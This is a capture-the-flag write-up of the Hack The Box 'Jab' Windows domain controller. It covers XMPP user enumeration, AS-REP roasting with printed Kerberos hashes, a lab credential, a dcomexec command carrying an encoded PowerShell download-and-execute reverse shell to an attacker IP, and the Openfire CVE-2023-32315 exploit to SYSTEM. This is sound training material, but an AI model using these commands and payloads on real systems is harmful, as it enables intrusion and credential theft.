Jab

Posted Apr 27, 2024

Active Directory Medium Level Machine 🫣

By 15 min read

Machine Link	https://app.hackthebox.com/machines/Jab
Operating System	Windows (Active Directory)
Difficulty	Medium
Machine Created by	mrb3n

Port Scan Results ⤵️

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab]
└─$ sudo nmap -sC -sV -T4 -oN Nmap_Results.txt 10.10.11.4 -Pn
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-22 09:30 IST
Warning: 10.10.11.4 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.4
Host is up (0.82s latency).
Not shown: 984 closed tcp ports (reset)
PORT     STATE SERVICE             VERSION
53/tcp   open  domain              Simple DNS Plus
88/tcp   open  kerberos-sec        Microsoft Windows Kerberos (server time: 2024-04-22 04:03:01Z)
135/tcp  open  msrpc               Microsoft Windows RPC
139/tcp  open  netbios-ssn         Microsoft Windows netbios-ssn
389/tcp  open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2024-04-22T04:05:17+00:00; 0s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-04-22T04:05:02+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
3268/tcp open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2024-04-22T04:05:07+00:00; 0s from scanner time.
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2024-04-22T04:05:02+00:00; 0s from scanner time.
5222/tcp open  jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
|_xmpp-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   RPCCheck: 
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5269/tcp open  xmpp                Wildfire XMPP Client
|_xmpp-info: ERROR: Script execution failed (use -d to debug)
7070/tcp open  realserver?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP: 
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Mon, 22 Apr 2024 04:02:59 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 22 Apr 2024 04:03:11 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help: 
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq: 
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7443/tcp open  ssl/oracleas-https?
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Mon, 22 Apr 2024 04:03:14 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Mon, 22 Apr 2024 04:03:33 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
7777/tcp open  socks5              (No authentication; connection not allowed by ruleset)
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5222-TCP:V=7.94SVN%I=7%D=4/22%Time=6625E18F%P=x86_64-pc-linux-gnu%r
SF:(RPCCheck,9B,"<stream:error\x20xmlns:stream=\"http://etherx\.jabber\.or
SF:g/streams\"><not-well-formed\x20xmlns=\"urn:ietf:params:xml:ns:xmpp-str
SF:eams\"/></stream:error></stream:stream>");

Web Enumeration ⤵️

I checked port 7443 and 7070 but the response was this ⏬

Openfire redirect page

So Now I checked port 5222 which indicated jabber was running but this port is actually for xmpp-client service running.

An XMPP client is any software or application that enables you to connect to an XMPP for instant messaging with other people over the Internet. There are many free clients you can use to do this, for many different devices and operating systems.

These are the free clients ,Reference: https://jabber.at/clients/

I will be using Gajim and pidgin both Tools on the way ⏬

Lets use Pidgin Tool first ⏬

Install this tool like this 🔻

sudo apt install pidgin

Register a user with any Username, Email, Password but the server address should be the machine address that is 10.10.11.4 and the domain name will be jab.htb .

There is a plugin called Service Discovery , Enable it then use it to discover what services are involved with which subdomains along with its chats.

Enabling Service Discovery Plugin

Now the plugin is up so lets look for services from this server and I found these many , into a subdomain service called conference.jab.htb I got 2 chats ⏬

Accessing Chats

Now lets look for User Information from here ⏬

User Enumeration

I have to enter the Service Discovery name that I identified above that indicates the Search for user info that is search.jab.htb.

Specifying the subdomain name

Here I can filter out the output or we can access all the data by giving asterisk (*) as an input like this ⏬

Sorting the output

As a result I got these 2000+ many output as usernames ⏬

Users Informations

There is another Tool called Gajim that can be installed by this command in Debian machines ⏬

sudo apt install gajim

Now Lets run this Tool ⏬

Firstly I will be signing up with server name as jab.htb and with enabled Sign up Anonymously option.

Sign Up process

There is a warning page with will pop up like this , ignore that ⏬

Certificate verification popup

I got this successful page ⏬

Now lets set the hostname for enabling the server connection ⏬

Turn the Hostname option On and specify its address

Specify the Address of the server in this case the machine IP and the Type will be plain that will not be encrypted .

Connection establishing

As the Account setup so lets look into the Discover Services option with similar fashion like I did in Pidgin Tool.

Discover Services option

Enumerate the User Search Discovery further more ⏬

User Info Search discovery

Lets sort the output now ⏬

Sorting the output

As a result I got the usernames ⏬

Users Informations

But in all these Tools the problem was to copy all these Users Information at once , that was not possible so I recon further related to it and I got one hint that I could capture the Informations in packets with tcpdump Tool and then sort them like this ⏬

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab]
└─$ sudo tcpdump -i tun0 -w users.pcap

I started the tcpdump Tool to capture the data on this tun0 interface and then searched all the users information again and then I stopped the capture.

Its time to sort the output that is captured in this users.pcap file , I will be using ⏬

grep - Shorting the output.
-a - This options specify to filter out the text content only
-E - Interpret PATTERN as extended regular expressions
'@' - Sorting Pattern string.
strings - This will print out the text part in a binary file.

  
cat users.pcap | grep -aE '@' | strings

Users Info sorted

Lets filter out the usernames only ⏬

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab]
└─$ cat users.pcap |grep -aE '@' | strings | grep '<field var="Username"><value>' | sed "s/<\/item><item>/<\/item>\n<item>/g" | grep 'Username' | cut -d '>' -f 8 | cut -d '<' -f 1 | sed "s/ //g" > usernames.txt

As a result I got these username ⏬

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab]
└─$ more usernames.txt                                                                                           

nenglert
aslater
rtruelove
pwoodland
pparodi
mhernandez
atorres
apugh
lray
rowens
mherron
larroyo
csalinas
plewis
cmaxwell
kaddis
molivarez
lbragg
ilaboy

As I got the usernames lets look for TGT tickets with AS-REP-ROASTING method through impacket Tool called GetNPUsers.py .

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab]
└─$ /opt/Tools/impacket/examples/GetNPUsers.py -no-pass 'jab.htb/' -dc-ip 10.10.11.4 -request -usersfile usernames.txt 
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] invalid principal syntax
[-] User nenglert does not have UF_DONT_REQUIRE_PREAUTH set
[-] User aslater does not have UF_DONT_REQUIRE_PREAUTH set
[-] User rtruelove does not have UF_DONT_REQUIRE_PREAUTH set
[-] User pwoodland does not have UF_DONT_REQUIRE_PREAUTH set
[-] User pparodi does not have UF_DONT_REQUIRE_PREAUTH set
[-] User mhernandez does not have UF_DONT_REQUIRE_PREAUTH set
[-] User atorres does not have UF_DONT_REQUIRE_PREAUTH set
[-] User apugh does not have UF_DONT_REQUIRE_PREAUTH set
....
....
$krb5asrep$23$jmontgomery@JAB.HTB:1d32911586a3b7d810ef3eb0fe08cd88$da838065062d5def822642eb12db36093c5a24f4d95d62ddf9a39f77607935589ed18b814e9129fc9fd6ffb3b5a346a2f52f6d34693870ce86c9521cdf6a8ee66baacee4795c3cd6f5d1833db0e896b2d8d188e0b65a8439db97cae7c4970239ada8441ab6b81eca9346dbbebd5bb7af6f66f6a8f4944102328f8156828be71044b7d38a238cc611794236636c98c5e602ee41c5150f918ed4ede45ddf499ef28524ca44e176a97da17660a3b345e533a393a8b75969b1a9a4c067ac2057adb2dbbb20b84779b7d375f99c38a8057ff16bb2ea9f9817bef5d097369140b794bb2f1f
...
$krb5asrep$23$lbradford@JAB.HTB:c8f4dbb3df6544bf732dc692b8360648$cb4b9804e0422730921cfd566e692ef8d567dde1241bd04ec7ee10891229d1c0703b40d5946ce411713b534ed4e9ef53a94557676bc0326b48839f210388b2f7a6e55dea66e0a5fd290ab1261cf4047525a3582bf50d05b24f92d5b08f953c7d649b96172b809e9dff09270cfc8df6980a2160b638129f8836863c91c0f7e2eaec1a94a5a85160e86f9f3e4205c86827ad1a45291479f43f61a6dca77888579c33f62624a92898c259caa16834cd5377435408364ced573363fda91c0c9a5459a156eb582f95d94b071ef7303ed942ca763685b2a5a828a2e3daf24e44f6b3b75242
...
$krb5asrep$23$mlowe@JAB.HTB:c17501d904091a954dcb12c72e4cf0ff$4af5f48051e8576615e5fbe7cbb0b33c7c0dce4feed5b5a7642e37a44b074378550b4b38cf181d9b4dcb05834dce1a297ed4bcf73db72a98afcead8e78e940642142b605dad5599d70e98555ac877e28e441ea108b58ecebd9cf2171389a1a9dd964526875a25e41dde6c04da707328f270bfafc857490f1c164da9111b98015b45b0ae945252b5007efb960d5f00d656cd75cac3568fa6fa9fe132eb8692cb1afa9b5e7b5443fa7ae244e00e575d2a73e85b4cb0156d352bfbf51c7fd5598cc683d7f74e2a2513d2584c2bcfbcea2eccefc3698655708951a31e243f209ea86f8ad

After a while I got 3 tickets and I try to crack all but got only 1 user result that is of user jmontgomery .

Lets login that user into gajim application ⏬

Login as jmontgomery user

Lets discover its running services 🔽

jmontgomery running services

In public chatrooms I found a wildcard chat entry from pentest2003 user ⏬

Public Chatrooms Entry

I get 1 different chat that is from pentest2003 ID .

Chats

While enumeration I also found some users that are affiliated with this chat ⏬

Affilicated users

I was unable to print the chat history for pentest2003 from gajim application so I used pidgin Tool to take a look and I got this ⏬

I logged in as jmontgomery user in pidgin and entered its password with server address and clicked on Save.

Logged in as jmontgomery user in Pidgin Tool

It can ask for password of this user , Enter it and the connection will be established , Now you can check the Room List tab , along with its chats.

Check the chats from Room List option

I got this chat history from this pentest2003 user ⏬

It stored a TGS ticket along with cracked password

A TGS ticket along with cracked password of user svc_openfire ,Lets take a look what this user can do here ⏬

I have created an automation script from netexec Tool that will test all the services for me with one input creds ⏬

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab/CVE-2023-32315]
└─$ python3 /opt/Tools/allexec.py 10.10.11.4 svc_openfire '!@#$%^&*(1qazxsw'



 █████╗ ██╗     ██╗     ███████╗██╗  ██╗███████╗ ██████╗
██╔══██╗██║     ██║     ██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████║██║     ██║     █████╗   ╚███╔╝ █████╗  ██║     
██╔══██║██║     ██║     ██╔══╝   ██╔██╗ ██╔══╝  ██║     
██║  ██║███████╗███████╗███████╗██╔╝ ██╗███████╗╚██████╗
╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝

+-+-+-+-+-+-+-+-+-+-+-+
|S|T|R|O|N|G|S|H|I|V|8|
+-+-+-+-+-+-+-+-+-+-+-+



Running smb test:
SMB         10.10.11.4      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.4      445    DC01             [+] jab.htb\svc_openfire:!@#$%^&*(1qazxsw 
SMB         10.10.11.4      445    DC01             [*] Enumerated shares
SMB         10.10.11.4      445    DC01             Share           Permissions     Remark
SMB         10.10.11.4      445    DC01             -----           -----------     ------
SMB         10.10.11.4      445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.4      445    DC01             C$                              Default share
SMB         10.10.11.4      445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.4      445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.4      445    DC01             SYSVOL          READ            Logon server share 


Running ldap test:
SMB         10.10.11.4      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.4      636    DC01             [+] jab.htb\svc_openfire:!@#$%^&*(1qazxsw 


Running rdp test:


Running winrm test:
SMB         10.10.11.4      445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:jab.htb)
WINRM       10.10.11.4      5985   DC01             [-] jab.htb\svc_openfire:!@#$%^&*(1qazxsw

Since it does not allow for winrm access so in this case whenever the MSRPC is up that indicates that DCOM is also runinig and that can provide me the shell.

Distributed Component Object Model (DCOM) objects present an interesting capability for network-based interactions with objects. Microsoft provides comprehensive documentation for both DCOM and Component Object Model (COM), accessible here for DCOM and here for COM.

There is a Tool in impacket that interact with its network .

dcomexec.py Tool .

The purpose of dcomexec is similar to wmiexec, execute commands on a remote endpoint. The underlying execution method, however, is different. In fact, with dcomexec we will use specific DCOM techniques to execute commands such as:

MMC2.0
ShellBrowserWindow
ShellWindows

The execution against a testing system would look like this:

  
python3 /opt/Tools/impacket/examples/dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADEAOAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA=' -silentcommand

Payload I used in powershell to execute a reverse shell ⏬

  
┌──(kali㉿kali)-[/opt/Tools/PowerShell/nishang/Shells]
└─$ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.18/Invoke-PowerShellTcp.ps1")'| iconv --to-code UTF-16LE | base64 -w 0 
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADEAOAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA= 

As a result I got the callback with a powershell shell ⏬

dcomexec.py working

Lets enumerate further more 🔻

  
PS C:\windows\system32> cd C:\Users
PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       11/21/2023  11:52 AM                Administrator                                                         
d-r---       10/23/2023  12:12 PM                Public                                                                
d-----        1/22/2024   1:36 PM                svc_openfire                                                          


PS C:\Users> cd svc_openfire
PS C:\Users\svc_openfire> tree /f /a
Folder PATH listing
Volume serial number is E59D-A256
C:.
+---3D Objects
+---Contacts
+---Desktop
|       user.txt
|       
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos
PS C:\Users\svc_openfire> type Desktop\user.txt
1ff49870849826eee7849a1bbd7610e1
PS C:\Users\svc_openfire>

I checked the network ports and got one port suspicious that is port 9090 .

  
PS C:\windows\system32> netstat -ano

Port 9090 looks suspicious lets look into it

Lets access this port through port forwarding , I will be using chisel to do so .

Chisel Tool 9090 port forwarded to port 9090 of host machine

I get this openfire login page ⏬

Openfire Login Page with version 4.7.5

With svc_openfire creds I got logged in into the site ⏬

Dashboard of openfire

After that I did some digging and got an exploit related to this version that is ⏬

CVE-2023-32315 - Path Traversal in Openfire leads to RCE

Step 🔻

Run exploit
login with newly added user
goto tab plugin > upload plugin openfire-management-tool-plugin.jar
goto tab server > server settings > Management tool
Access websehll with password “123”

Lets follow these steps ⏬

Upload the jar file that is downloadable from the above exploit Execute command

For reverse shell I used the command that I used previously during dcomexec.py Tool execution.

  
powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADEAOAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA=

In return to that I got the reverse shell ,don’t forget to turn on the python http server to upload the Invoke-PowerShellTcp.ps1 file.

  
┌──(kali㉿kali)-[~/Downloads/HTB/Jab/CVE-2023-32315]
└─$ rlwrap nc -lvnp 445                             
listening on [any] 445 ...
connect to [10.10.16.18] from (UNKNOWN) [10.10.11.4] 53923
Windows PowerShell running as user DC01$ on DC01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files\Openfire\bin>whoami
nt authority\system
PS C:\Program Files\Openfire\bin> cd C:\Users\Administrator
PS C:\Users\Administrator> tree /f /a
Folder PATH listing
Volume serial number is E59D-A256
C:.
+---3D Objects
+---Contacts
+---Desktop
|       root.txt
|       
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
|      cleanup.ps1
|
...
...
+---Pictures
+---Saved Games
+---Searches
\---Videos
PS C:\Users\Administrator> cat Desktop\root.txt
27ab3011623ce98619c9753574570f8b
PS C:\Users\Administrator> 

I am Administrator Now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

HackTheBox

This post is licensed under CC BY 4.0 by the author.

Port Scan Results ⤵️

Web Enumeration ⤵️

CVE-2023-32315 - Path Traversal in Openfire leads to RCE

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